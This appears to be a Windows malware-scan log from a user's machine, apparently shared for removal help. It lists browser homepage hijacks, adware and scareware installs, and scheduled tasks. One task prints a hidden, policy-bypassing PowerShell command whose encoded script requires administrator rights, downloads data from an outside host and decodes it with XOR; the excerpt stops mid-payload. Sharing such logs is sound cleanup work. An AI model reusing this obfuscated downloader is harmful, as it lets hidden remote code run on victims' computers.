HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
SearchScopes: HKLM -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = hxxp://rover.ebay.com/rover/1/711-154371-11896-2/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
BHO-x32: Norton Vulnerability Protection -> {6D53EC84-6AAE-4787-AEEE-F4628F01010C} -> C:\Program Files (x86)\Norton Internet Security\Engine\21.7.0.11\IPS\IPSBHO.DLL => No File
Toolbar: HKLM-x32 - No Name - {7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} - No File
CHR HomePage: Default -> hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
CHR StartupUrls: Default -> "hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D7%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome"
CHR DefaultSearchURL: Default -> hxxps://us.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D4%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
CHR DefaultSearchKeyword: Default -> search provided by yahoo.com
CHR DefaultSuggestURL: Default -> {google:baseSuggestURL}search?client=chrome&hl={language}&q={searchTerms}
CHR Extension: (Google Drive) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]
CHR Extension: (Google Search) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-27]
CHR HKLM\...\Chrome\Extension: [hkhkiakolggnnicallabhkobalpeplpi] - <no Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [hkhkiakolggnnicallabhkobalpeplpi] - <no Path/update_url>
R2 rtop; C:\Program Files\ByteFence\rtop\bin\rtop_svc.exe [244664 2015-12-31] ()
C:\Program Files\ByteFence
2016-01-01 15:22 - 2016-01-01 15:22 - 00000000 ____D C:\ForceByteDetector
2016-01-01 15:21 - 2016-01-01 15:22 - 03067608 _____ (Force Byte Detector) C:\Users\Larry\Downloads\Force112_Byte_Detector (1).exe
2016-01-01 15:19 - 2016-01-01 15:21 - 03067608 _____ (Force Byte Detector) C:\Users\Larry\Downloads\Force112_Byte_Detector.exe
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\ProgramData\Reimage Protector
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Reimage Repair
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\Program Files\Reimage
2016-01-01 13:36 - 2016-01-01 13:37 - 00000000 ____D C:\rei
2016-01-01 13:35 - 2016-01-01 13:37 - 00000099 _____ C:\WINDOWS\Reimage.ini
2016-01-01 13:34 - 2016-01-01 13:35 - 00772016 _____ (Reimage®) C:\Users\Larry\Downloads\ReimageRepair.exe
2015-12-31 16:41 - 2015-12-31 16:41 - 00002370 _____ C:\Users\Larry\Desktop\Chromium.lnk
2015-12-31 16:41 - 2015-12-31 16:41 - 00000000 ____D C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chromium
2015-12-31 16:40 - 2015-12-31 16:46 - 00000000 ____D C:\Users\Larry\AppData\Local\Chromium
2015-12-31 16:39 - 2016-01-01 16:39 - 00000300 _____ C:\WINDOWS\Tasks\UpdateTask.job
2015-12-31 16:39 - 2015-12-31 16:39 - 00002784 _____ C:\WINDOWS\System32\Tasks\UpdateTask
2015-12-31 16:22 - 2015-12-31 16:31 - 00927824 _____ (Google Inc.) C:\Users\Larry\Desktop\ChromeSetup.exe
2015-12-31 16:19 - 2015-12-31 16:19 - 00000013 _____ C:\Users\Larry\.pluto.tv
2015-12-31 16:18 - 2016-01-01 13:40 - 00000000 ____D C:\Users\Larry\AppData\Local\PlutoTV
2015-12-31 16:18 - 2015-12-31 16:18 - 00003822 _____ C:\WINDOWS\System32\Tasks\DriverRestore_ScheduledScan
2015-12-31 16:18 - 2015-12-31 16:18 - 00003666 _____ C:\WINDOWS\System32\Tasks\DriverRestore_DailyScan
2015-12-31 16:17 - 2015-12-31 16:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Pluto TV
2015-12-31 16:17 - 2015-12-31 16:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DriverRestore
2015-12-31 16:17 - 2015-10-09 04:04 - 00020872 _____ (Phoenix Technologies) C:\WINDOWS\SysWOW64\Drivers\DrvAgent64.SYS
2015-12-31 16:16 - 2015-12-31 16:19 - 00000000 ____D C:\Program Files (x86)\DriverRestore
2015-12-31 16:16 - 2015-12-31 16:18 - 00000000 ____D C:\Program Files (x86)\Pluto TV
2015-12-31 16:16 - 2015-12-31 16:16 - 00023370 _____ C:\WINDOWS\System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A}
2015-12-31 16:16 - 2015-12-31 16:16 - 00003552 _____ C:\WINDOWS\System32\Tasks\ByteFence Scan
2015-12-31 16:16 - 2015-12-31 16:16 - 00003450 _____ C:\WINDOWS\System32\Tasks\ByteFence
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ByteFence Anti-Malware
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\ByteFence
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\3d7baade-58d1-0
2015-12-31 16:16 - 2015-12-31 16:16 - 00000000 ____D C:\ProgramData\3d7baade-1733-1
2015-12-31 16:15 - 2016-01-01 13:38 - 00000000 ____D C:\Program Files\ByteFence
2015-12-31 16:15 - 2015-12-31 17:39 - 00000000 ____D C:\Users\Larry\AppData\Local\{C2C3F49F-E66B-9827-8BF3-BDCFAF9B4157}
2015-12-31 16:14 - 2015-12-31 16:14 - 00880208 _____ (Google Inc.) C:\Users\Larry\Downloads\ChromeSetupFree.exe
Task: {0149A79E-E44F-4B8C-896A-272731FBC620} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {04A88163-B819-4E03-AF8C-26EE65B48EBA} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION
Task: {0B083500-70BD-4681-92EE-5E6D34A4C0B6} - System32\Tasks\DriverRestore_ScheduledScan => C:\Program Files (x86)\DriverRestore\DriverRestore.exe [2015-11-02] ()
C:\Program Files (x86)\DriverRestore
Task: {0E4889E6-5E0B-47AB-B635-1178211CE753} - System32\Tasks\DriverRestore_DailyScan => C:\Program Files (x86)\DriverRestore\DriverRestore.exe [2015-11-02] ()
Task: {14DF3806-AAD3-4F5B-92D5-8F90E55AC1D1} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> No File <==== ATTENTION
Task: {2017B43B-5A8E-4287-B68E-BA257A479864} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
Task: {2D0DFA27-A2A7-4BF3-B1B8-C2B3A84264BF} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {5CC95500-6598-4330-9100-1B1835E8E688} - System32\Tasks\ByteFence => C:\Program Files\ByteFence\ByteFence.exe [2015-12-22] (Byte Technologies LLC)
C:\Program Files\ByteFence
Task: {86F9681A-F0EB-4E66-B920-D0287855D363} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {877C45C9-CB87-4B14-8E6A-9532AB4B3725} - System32\Tasks\{0D0F7A47-050C-7F0A-0B11-7E0F7F78117A} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGYAaQBuAGgAbwBvAG0AZQAuAGkAbgBmAG8ALwB1AC8APwBhAD0AQQBxAGMAVwBsAFoAeAB5AFUAZgBVAEgANwA1AE0AWgBRAFUAUQBaAGYAbAA2ADQAdgBUAHYAWQBTAGEAdABpAFQAdgBvAFoAZgBlAEQASABiAG8ARgBzAHIARQBaAFMASgBMADUAVgBHAEwARgBiAGEANQBiAEUAeQBYAC0ATQBSAHMATwBxAHQAcwA2AGoAUgBXAHAANAB5AHAAYQB6AEIARABrAHgAagAyAGYAbgBwAHEATABIAFIAZAAzAFEAZABoAHoAVwBxAEcAOQBSAHYAMABnAE4AbwBwAHUANQAxAGsAVABtAFAAVABCADgAaQA1AEMAQQBSAFgAcgBuAE0AcQBuADcAdwBHAEcAbQBUADMANwBmAGQAVgBmAG0AeAAzAF8AVABzAEQASABoAGMAagA3ADAAVQBaAEoAZwBnAFgATgAwAEkAVABJADIAeQBoAHUATwBmAHIAOAB2ADUAegBQAE4AZQBPADQAVgBqAGUASwBEAFcAbwBqAEUAWABDAFIAeQBUAGEAagBsADgAOABxADcATgBXAGUAVwAzAHAAYgBpAG8AdgBsAEkAUwBlADgAawB1AHkASwB1AGUAcQBSADQAbABQAGgAQwBHAEEAdgBWAHUAMgA3AHYAVgA1AF8AMABQAFgAMwBmAEIAbABHADYATABZADcAcwBMAHkAMwBsAHEAZwA2AFIAbwBJAEcAcgBZAHMAOQBGADAATwBzAC0ALQBxAFcAVgBPAHAATABuAHgANAB2AG0AaABHAHgAUwA4AGoAbABBADQAYgBDAFcALQBfAEIAcQBxADAAQQBTAEMASQA0AEIAUgBRADEAQgA1AHUAYgBQADAAQwA0AGoARQBBAHkASwBlAEoAWABMAFkAYQB4AHoAXwBtAFUAaABNAHkAbAByAFkAZQBSADYAMAA2AFAAVQBMADMATAA0AFQAUgBMAE0AdABmAGgARABHAGQATQBOAEIATQB4ADcAWgB3AHQAbwBWAFIAMwBXAHoAcwBWAG0AWgBKAFEAcABMADEARwBUAFcASwBrAEMAbwAzAGwARABJAEwAeQBqAEgAMQBXAFIAUQBDAG8AbAAxAFoAMwBhADIARgBTAGYAYQBaAE8AYgBLAF8AZQBHAGYAUAA4AGIAdABwAHEAaQBiADMALQBvADUASwBfAEwATABrADYASwBJAGcAZAA5AGYALQBUAG0AZwBXADQAawB2ADYAbwAwAG0AaQBiAG0AOABMAEIAdQBtAHYARwBOAEYAQwBqAGsASwBfAHMAMwBZAHIAYQBJAGgASwB4AEMATwBNAEUAaABVADMAaQBLAGEAVQBkADEANAAxAFAARQA1AFgAMgByAEcAOQBEAGYARQBDAFkAMQA3ADcAZAA3AHMANQBLAEYAbgA3AFkAbwBnAFoAQwBfAHQATAAwAFkASQB3AGcAaABUAGkATwB6AEUAVQA2AEkAMgBsADAAbgA3AGgAYwB5ADQARABJAEMAMwBoAFgATAB1AFMAbgBJAGYASgBHAEkAcABzADkAegBaAHkAYQBCAHQAYgBqAFEAZgBvADAAdgBCAHkARgBPADYAVAAwAHEAagBQAGgATQB1AGcAVQBpADYAagAzAHEAVwBPAGkAbQA2AHkANABnAEYAbABwADIAMQBYADMAVgBGAEEAUABVADkAegAxAFAANQBEAEwAegBCAHoAOQBiAFUAQgBSAFUAOQBwAGYAeABfAGMAYwBPAHQAWQBpAGcATQBEAGEAcgBGAEMAbABUAEgAUwAyAGIAdgBQAF8AegByAFIAdABNAHEATgB3AHAANQB5AGwAUwB4AGMAegBOADcAeAA5ADQAXwA1AGUAUgBDAEEAMQBDADkAOABZAHUAQwBuAGUAdQBEAFkATgBoAG8ATwBZAHYAaABwAGoARQBjAFAAWgByAEkAQgBfAFQAbAAxAGQAMABMAGYAYwBfAGYAeQAzAEwAWQB6AHQAaAB5AHIARwByAFAAdwBJAG4AaAAwAGIAdQBlAGEAVQB0AGEAdQBtAHoAWgAzAE8AcABvAGcAYQBmAFEAWgA5AEsAZQBYAFMATQBDAEEARAB2AHgAdwBMAGYAeABjAEkAcABvAHEAOQByAGoAawBTAHIATQBoAGUAYgB1ADQAcABBAEkAbAAwAGQAUAB0AHgAZABqAEgAVwBOAGEAMwBHADAASwAyAFAANgBsAE8AbQB2ADIANwBxADkAdgBIAG8AaQBCAEUAUwBhAGQAMQBSAEIANgB5AHkAagA4AFYAMABaAFAAZAAzAFEAdgBhAHUAdwBlAHcANAAzAHYAawB3AGgAagBtAG4AVgBUAHAAVwBoAHgAUwBuAHIAeABTAHAAZQB5AGwAMQBWAHoALQAmAGMAPQBfAFMAbABuAEsAawA3AHYAVABBAGEAagB0AGYAUwBnADEAUgBLAE8AVwBFAHkANgBkADQANABWAHYAcgBKADQAbABsAGMAdQBDAEMARwBNAEsASwBaADcARQBoAF8AaQA1AG8ANgBpADcASgBIAEEAegBCAHUASwBHADAAWABJAC0AdwBEADYATABUAHoAUQB4AE0AVgBIAFkAUwB2AGcAdABUADcAYQA5AEgAdAA2AEsAXwA1AEYAOABtAG0AbQBlAEEATwBkAG0AVgBNAC0AXwBlAHkAaAB6AGsANQBUADAAYwBJAGcAQQB6AFoAaABjAFQAdQBYAHEAYwBCAGsAYgA3ADkAdwBJAEIAQwBWAC0AeAB4AFcANQBKAEwAXwA2ADcAeQBnADkALQBWAEMAagBIAFoANwBMAGkAWQBSAGIAbwBlAHgAcQBXAG0AdwBfADIAMQBRAEUARQBTAHMAQgBRAHIAWgBaAHMATABKAC0AdABOAHIAbQBsADMAOQBKAHYAdAA3AHMASwBDAEoAdQBqAG4AaABUAFEANgBjAHMAbwBxADgAUgBNAHkASgBTAEYAVwBBAE8AdABWAG0AYgBCAEsANQAzAFEAQQB2AGcAbwBsAG0AUgB4ADYAUAAwAHMAOQBlADIAaQBtAEQAYQBZADEAMABoAHUAbwAwAGYAegBqAFoAYQBQAGEAZAA2AF8AYwB0AHcATABTAGgAdwBxAHoAMwAtAGcAaAA5AHgAXwBfAF8ALQA4ADkAcABUAE0AawAxAE8AYgBxAEwASgBrADMAcQBMAEsAVwBIAGkAVgBTAEUAbwBwAHgAMwBtAHQAbQBuAGUAOAAzAEUAOAB4ADEATABPADgASwBiAHYAMgBrAEoAWQBwAFcAbwBCAEIAcgBrAGgALQBEAGkAMABCADEAOQBFAHEAegA1AG0AdgBiAEoAdgBrAFUAagBwADAAdABpAHAAMgAzAG4ANgBKAG0AUgAxAHAAaQBEAFEARgBPAGkAcABnAFgANgBKADEASgBhAFoAYgBoAGYAWQA1AFcAVQBDAGgASwBhAE4AUwB4AEUASABnAHIATQBsAGgAdgBVADQATwB6ADIASgA0AE0AZQBVAFUAVwBlAEQAUwA1AGMAbQBSAGQATgBUADQAZgBLAEQAOABTAFcAVwBKAE4AWQBiAFUAZABZADIANAB5AFQAUQBxAHEAawBSADMAYgBnAHgARQB4AHYASwA5AGMAcgBHAFUAaABwADYAQwBUADQAVQBhADYAVwBhAFoANAA4AG4AMQBYAHIAbQBrADIARAAzAEcAagBEAGUAaQBYAFAAXwB5AE4AdQBRAEIARQBLAE8AZQBiAG0AVwBtAGkAcAAtAHEAWQBzAGcAOABxAHYAdwB4AC0AOABPAEsANAB2AGgARwBmAFUANwBoAHoAeABYAFEAdgAyAFoAVQBWAHAAaQBEAEkANQAxAFgAQwBIAHoAMgB6AEcAawBEAHUAaQBGAFMASwBXAHIASQA4AHUARgBKADgAcAA5AHIAWABRAGQASwBYAFMAQwBqAEEAYwBVAEoAMgBOADYAYQAtAHcAOAA3AFEAXwBqADEAOQBQAEMATgBXAFIAMQBKADIANgB0AGYATgBmAGQATgAwADMAWgBZADIAWQBpAFkAcAAzADgASwBRADAAVABWAEoAQQAyADYAeABBAFMAMgA0AE4AVQBsAEwAbgBoADMARwBBAFYASgB2AHAAcAB6ADkAVgBFADIAaQBtAGgAVgBLAGoAbgBNAGkATgBFAGoAcABSAFkAVwBTAEgAcwBwAE0AeQBWAFcAWAB0ADkAbAA2AHYAZQBEAGoAbABTAEYAeABwAGkAeABFAFoAUQBFADYAUwBsAGcAOABGAHgAZwBuAEgAeQBxAFYAMwBRAE0AcgBBAFEAagB0AFcATQBzAEQAcABDAFgAdQBOAGgAUgBNAC0AZgBzAEIAbAB1AGoANQBnAGgARAA3AHUAcgAzAEwAUAB4AHUAMgBIAHgAVQBjAEwAZQBwAE0AdwBhAHEASwB2AFEAagBPADMAMQBuAFoAbwB2ADMAQwBnADcAcwBFAEcATQA5AFkAagBHAFgATwA2AHUASABKAGIAVQB5AGoAawBPAFQAWgBEAGQARABHAHgAWABBAGYAUQBXAHQATgA5AF8ASABIADQATgBWAHMAXwBGAGkAZgBmAGYATABuAHgANABpAHEAQQBwAG8AMwBvAFQAbABsAE8AcABNAEIAagBsAFEANABwAGgAMgBGAEcAXwBVAEsAaQBsAFMAVAB6ADUAdgBtAE0AZwAwAEQAVQAxAFUARQAyAGUAOQB1AEUAMABpAEUAQQBGAGEAYQBFADEASAB1ADcALQA3AHYASwBTAFgAdABLAHkAeQA1AFUALQBIAEgAYgBIADgAMABJAHgAaABJAFoAagB3AEoAcgB2AHIAagBDAEoAOQBvAEMATABWAEwALQBoAGoATQBtAE8ATgA3ADkANwBoACYAcgA9ADIAMAA4ADkAOAAwADcANgA1ADkAMQA4ADQAOAA3ADUAMgAxADYAIgA7ACQAcwB0AHMAawA9ACIAewAwAEQAMABGADcAQQA0ADcALQAwADUAMABDAC0ANwBGADAAQQAtADAAQgAxADEALQA3AEUAMABGADcARgA3ADgAMQAxADcAQQB9ACIAOwAkAHAAcgBpAGQAPQAiAE8AbgBlAFMAeQBzAHQAZQBtAEMAYQByAGUAIgA7ACQAaQBuAGkAZAA9ACIAUgBIAE0ASgBTAE4ASQBIACIAOwB0AHIAeQB7AGkAZgAoACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4ALgBNAGEAagBvAHIAIAAtAGwAdAAgADIAKQB7AGIAcgBlAGEAawA7AH0AJAB2AD0AWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBPAFMAVgBlAHIAcwBpAG8AbgAuAFYAZQByAHMAaQBvAG4AOwAKAGkAZgAoACQAdgAuAE0AYQBqAG8AcgAgAC0AZQBxACAANQApAHsAaQBmACgAKAAkAHYALgBNAGkAbgBvAHIAIAAtAGwAdAAgADIAKQAgAC0AQQBOAEQAIAAoACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBTAGUAcgB2AGkAYwBlAFAAYQBjAGsATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAtAGwAdAAgADIAKQApAHsAYgByAGUAYQBrADsAfQB9AAoAaQBmACgALQBOAE8AVAAgACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAUAByAGkAbgBjAGkAcABhAGwAXQBbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBJAGQAZQBuAHQAaQB0AHkAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdAAoACkAKQAuAEkAcwBJAG4AUgBvAGwAZQAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEIAdQBpAGwAdABJAG4AUgBvAGwAZQBdACAAIgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACIAKQApAHsAYgByAGUAYQBrADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAHcAYwAoACQAdQByAGwAKQB7ACQAcgBxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAcgBxAC4AVQBzAGUARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQAkAHQAcgB1AGUAOwAkAHIAcQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAdQBzAGUAcgAtAGEAZwBlAG4AdAAiACwAIgBNAG8AegBpAGwAbABhAC8ANAAuADAAIAAoAGMAbwBtAHAAYQB0AGkAYgBsAGUAOwAgAE0AUwBJAEUAIAA3AC4AMAA7ACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAKQAiACkAOwByAGUAdAB1AHIAbgAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAHEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQApADsAfQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAcwB0AHIAKAAkAHIAYQB3AGQAYQB0AGEAKQB7ACQAYgB0AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAYQB3AGQAYQB0AGEAKQA7ACQAZQB4AHQAPQAkAGIAdABbADAAXQA7ACQAawBlAHkAPQAkAGIAdABbADEAXQAgAC0AYgB4AG8AcgAgADEANwAwADsAZgBvAHIAKAAkAGkAPQAyADsAJABpACAALQBsAHQAIAAkAGIAdAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAHQAWwAkAGkAXQA9ACgAJABiAHQAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACgAKAAkAGs